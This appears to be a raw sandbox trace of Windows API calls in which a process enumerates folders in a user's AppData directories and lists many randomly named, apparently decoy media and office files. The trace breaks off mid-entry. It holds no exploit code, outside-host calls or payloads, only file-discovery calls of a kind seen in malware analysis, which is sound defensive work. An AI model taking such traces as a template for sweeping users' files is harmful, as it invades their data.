[0183.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", lpFilePart=0x0) returned 0x21 [0183.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", lpFilePart=0x0) returned 0x21 [0183.193] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\UNP\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0183.194] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.194] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf56c97e4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", cAlternateFileName="{91BE5~1")) returned 1 [0183.194] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.194] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0183.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\UNP", lpFilePart=0x0) returned 0x21 [0183.195] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\UNP\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.195] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.195] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf56c97e4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", cAlternateFileName="{91BE5~1")) returned 1 [0183.195] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf56c97e4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".{91be532c-f9f1-406a-9858-43697c6f437a}_uxlock", cAlternateFileName="{91BE5~1")) returned 0 [0183.195] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0183.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2a [0183.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2a [0183.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0183.196] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.196] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0183.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2a [0183.197] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0183.197] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.197] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.197] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0183.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff11c) returned 1 [0183.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12febd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0183.198] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x12fee44 | out: lpFindFileData=0x12fee44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.198] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.198] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b86430, ftCreationTime.dwHighDateTime=0x1d5dad4, ftLastAccessTime.dwLowDateTime=0x6d463a90, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x6d463a90, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0xd38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0nVA28w 5p.mp3", cAlternateFileName="0NVA28~1.MP3")) returned 1 [0183.198] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93173f0, ftCreationTime.dwHighDateTime=0x1d5e66c, ftLastAccessTime.dwLowDateTime=0x367e9e90, ftLastAccessTime.dwHighDateTime=0x1d5dbe1, ftLastWriteTime.dwLowDateTime=0x367e9e90, ftLastWriteTime.dwHighDateTime=0x1d5dbe1, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="1h6Np-yrFrxqG-t.mkv", cAlternateFileName="1H6NP-~1.MKV")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4a7c30, ftCreationTime.dwHighDateTime=0x1d5e34b, ftLastAccessTime.dwLowDateTime=0x64d46d30, ftLastAccessTime.dwHighDateTime=0x1d5e66b, ftLastWriteTime.dwLowDateTime=0x64d46d30, ftLastWriteTime.dwHighDateTime=0x1d5e66b, nFileSizeHigh=0x0, nFileSizeLow=0xde7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="22yFD_l0bKrC_.m4a", cAlternateFileName="22YFD_~1.M4A")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7add91f0, ftCreationTime.dwHighDateTime=0x1d5dde8, ftLastAccessTime.dwLowDateTime=0x3f2f340, ftLastAccessTime.dwHighDateTime=0x1d5e6f4, ftLastWriteTime.dwLowDateTime=0x3f2f340, ftLastWriteTime.dwHighDateTime=0x1d5e6f4, nFileSizeHigh=0x0, nFileSizeLow=0x12e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="6KXn4NlvpboXL2D.wav", cAlternateFileName="6KXN4N~1.WAV")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78ea9a0, ftCreationTime.dwHighDateTime=0x1d5e6f1, ftLastAccessTime.dwLowDateTime=0xa665d910, ftLastAccessTime.dwHighDateTime=0x1d5d855, ftLastWriteTime.dwLowDateTime=0xa665d910, ftLastWriteTime.dwHighDateTime=0x1d5d855, nFileSizeHigh=0x0, nFileSizeLow=0xb1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="8elwbaE T4lPd7.png", cAlternateFileName="8ELWBA~1.PNG")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b4aec0, ftCreationTime.dwHighDateTime=0x1d5e44e, ftLastAccessTime.dwLowDateTime=0xbf5a5ed0, ftLastAccessTime.dwHighDateTime=0x1d5e4d7, ftLastWriteTime.dwLowDateTime=0xbf5a5ed0, ftLastWriteTime.dwHighDateTime=0x1d5e4d7, nFileSizeHigh=0x0, nFileSizeLow=0xae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8USDs64Fb5W nU.avi", cAlternateFileName="8USDS6~1.AVI")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c922a0, ftCreationTime.dwHighDateTime=0x1d5daef, ftLastAccessTime.dwLowDateTime=0x3796c010, ftLastAccessTime.dwHighDateTime=0x1d5da46, ftLastWriteTime.dwLowDateTime=0x3796c010, ftLastWriteTime.dwHighDateTime=0x1d5da46, nFileSizeHigh=0x0, nFileSizeLow=0x15928, dwReserved0=0x0, dwReserved1=0x0, cFileName="9H9fjdq_j.rtf", cAlternateFileName="9H9FJD~1.RTF")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x504fcac0, ftCreationTime.dwHighDateTime=0x1d5e036, ftLastAccessTime.dwLowDateTime=0x8109c140, ftLastAccessTime.dwHighDateTime=0x1d5dadf, ftLastWriteTime.dwLowDateTime=0x8109c140, ftLastWriteTime.dwHighDateTime=0x1d5dadf, nFileSizeHigh=0x0, nFileSizeLow=0x7790, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCa1S.m4a", cAlternateFileName="")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24912c20, ftCreationTime.dwHighDateTime=0x1d5e42e, ftLastAccessTime.dwLowDateTime=0xa4b354d0, ftLastAccessTime.dwHighDateTime=0x1d5e700, ftLastWriteTime.dwLowDateTime=0xa4b354d0, ftLastWriteTime.dwHighDateTime=0x1d5e700, nFileSizeHigh=0x0, nFileSizeLow=0x17702, dwReserved0=0x0, dwReserved1=0x0, cFileName="BqVpt3mpQN5q.flv", cAlternateFileName="BQVPT3~1.FLV")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84829da0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x4e86a130, ftLastAccessTime.dwHighDateTime=0x1d5da5c, ftLastWriteTime.dwLowDateTime=0x4e86a130, ftLastWriteTime.dwHighDateTime=0x1d5da5c, nFileSizeHigh=0x0, nFileSizeLow=0x573f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cEVmfr1n5ZClp.avi", cAlternateFileName="CEVMFR~1.AVI")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc77c120, ftCreationTime.dwHighDateTime=0x1d5de83, ftLastAccessTime.dwLowDateTime=0x51b20260, ftLastAccessTime.dwHighDateTime=0x1d5e000, ftLastWriteTime.dwLowDateTime=0x51b20260, ftLastWriteTime.dwHighDateTime=0x1d5e000, nFileSizeHigh=0x0, nFileSizeLow=0xc664, dwReserved0=0x0, dwReserved1=0x0, cFileName="D-KVKrkr k.mkv", cAlternateFileName="D-KVKR~1.MKV")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90eb5a80, ftCreationTime.dwHighDateTime=0x1d5df3d, ftLastAccessTime.dwLowDateTime=0xfa7e2580, ftLastAccessTime.dwHighDateTime=0x1d5e6c3, ftLastWriteTime.dwLowDateTime=0xfa7e2580, ftLastWriteTime.dwHighDateTime=0x1d5e6c3, nFileSizeHigh=0x0, nFileSizeLow=0xf8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="d6XWWffuXAL.png", cAlternateFileName="D6XWWF~1.PNG")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab240d30, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0x5cce7390, ftLastAccessTime.dwHighDateTime=0x1d5e2cb, ftLastWriteTime.dwLowDateTime=0x5cce7390, ftLastWriteTime.dwHighDateTime=0x1d5e2cb, nFileSizeHigh=0x0, nFileSizeLow=0x61df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddnY a.png", cAlternateFileName="DDNYA~1.PNG")) returned 1 [0183.200] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b404b0, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0xd4bfeda0, ftLastAccessTime.dwHighDateTime=0x1d5d940, ftLastWriteTime.dwLowDateTime=0xd4bfeda0, ftLastWriteTime.dwHighDateTime=0x1d5d940, nFileSizeHigh=0x0, nFileSizeLow=0x5252, dwReserved0=0x0, dwReserved1=0x0, cFileName="fdmVm.wav", cAlternateFileName="")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd525d0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x840c87f0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x840c87f0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x220b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeQTgPCb8PNq6Ea0Q.swf", cAlternateFileName="GEQTGP~1.SWF")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a131b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xf3abff50, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0xf3abff50, ftLastWriteTime.dwHighDateTime=0x1d5e2d3, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNs6tFPSTpq9hO9z.bmp", cAlternateFileName="GNS6TF~1.BMP")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf65a580, ftCreationTime.dwHighDateTime=0x1d5e6b0, ftLastAccessTime.dwLowDateTime=0x5df522b0, ftLastAccessTime.dwHighDateTime=0x1d5da9b, ftLastWriteTime.dwLowDateTime=0x5df522b0, ftLastWriteTime.dwHighDateTime=0x1d5da9b, nFileSizeHigh=0x0, nFileSizeLow=0x11b51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijVIbVFO7b.bmp", cAlternateFileName="IJVIBV~1.BMP")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563270e0, ftCreationTime.dwHighDateTime=0x1d5db5f, ftLastAccessTime.dwLowDateTime=0x6e0d5340, ftLastAccessTime.dwHighDateTime=0x1d5e020, ftLastWriteTime.dwLowDateTime=0x6e0d5340, ftLastWriteTime.dwHighDateTime=0x1d5e020, nFileSizeHigh=0x0, nFileSizeLow=0x15bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="iKA_2FAP.gif", cAlternateFileName="")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84535ff0, ftCreationTime.dwHighDateTime=0x1d5dc3d, ftLastAccessTime.dwLowDateTime=0xc08459d0, ftLastAccessTime.dwHighDateTime=0x1d5dc19, ftLastWriteTime.dwLowDateTime=0xc08459d0, ftLastWriteTime.dwHighDateTime=0x1d5dc19, nFileSizeHigh=0x0, nFileSizeLow=0x1373d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ivyQvy zFYHG5WpMF.pptx", cAlternateFileName="IVYQVY~1.PPT")) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513e32e0, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x34b19520, ftLastAccessTime.dwHighDateTime=0x1d5e1d3, ftLastWriteTime.dwLowDateTime=0x34b19520, ftLastWriteTime.dwHighDateTime=0x1d5e1d3, nFileSizeHigh=0x0, nFileSizeLow=0xe060, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyUJ9Oc9qjz9.png", cAlternateFileName="IYUJ9O~1.PNG")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49ec7d80, ftCreationTime.dwHighDateTime=0x1d5d989, ftLastAccessTime.dwLowDateTime=0xcb6b1500, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0xcb6b1500, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x9186, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTiYSZUtY1CU 0J.xls", cAlternateFileName="JTIYSZ~1.XLS")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec053380, ftCreationTime.dwHighDateTime=0x1d5da8f, ftLastAccessTime.dwLowDateTime=0x8a215db0, ftLastAccessTime.dwHighDateTime=0x1d5dc29, ftLastWriteTime.dwLowDateTime=0x8a215db0, ftLastWriteTime.dwHighDateTime=0x1d5dc29, nFileSizeHigh=0x0, nFileSizeLow=0x62d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kf5QM.bmp", cAlternateFileName="")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961bdfe0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x27deb4b0, ftLastAccessTime.dwHighDateTime=0x1d5de34, ftLastWriteTime.dwLowDateTime=0x27deb4b0, ftLastWriteTime.dwHighDateTime=0x1d5de34, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="KpXtA.mp4", cAlternateFileName="")) returned 1 [0183.202] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x20, 